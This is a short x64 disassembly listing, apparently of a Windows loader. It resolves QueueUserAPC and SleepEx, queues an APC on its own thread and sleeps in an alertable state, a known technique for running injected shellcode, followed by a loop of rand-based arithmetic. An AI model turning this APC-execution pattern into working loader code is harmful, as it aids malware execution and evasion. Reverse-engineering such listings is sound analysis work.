mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x668]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x660]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x818], 0xffffffff
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1be
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
mov qword [rbp + 0x658], rax
cmp dword [rbp + 0x818], 0x39f
jle 0x1400029fe
mov eax, 0
movups xmm6, xmmword [rbp + 0x8a0]
add rsp, 0x938
pop rbx
pop rsi
pop rdi
pop rbp
ret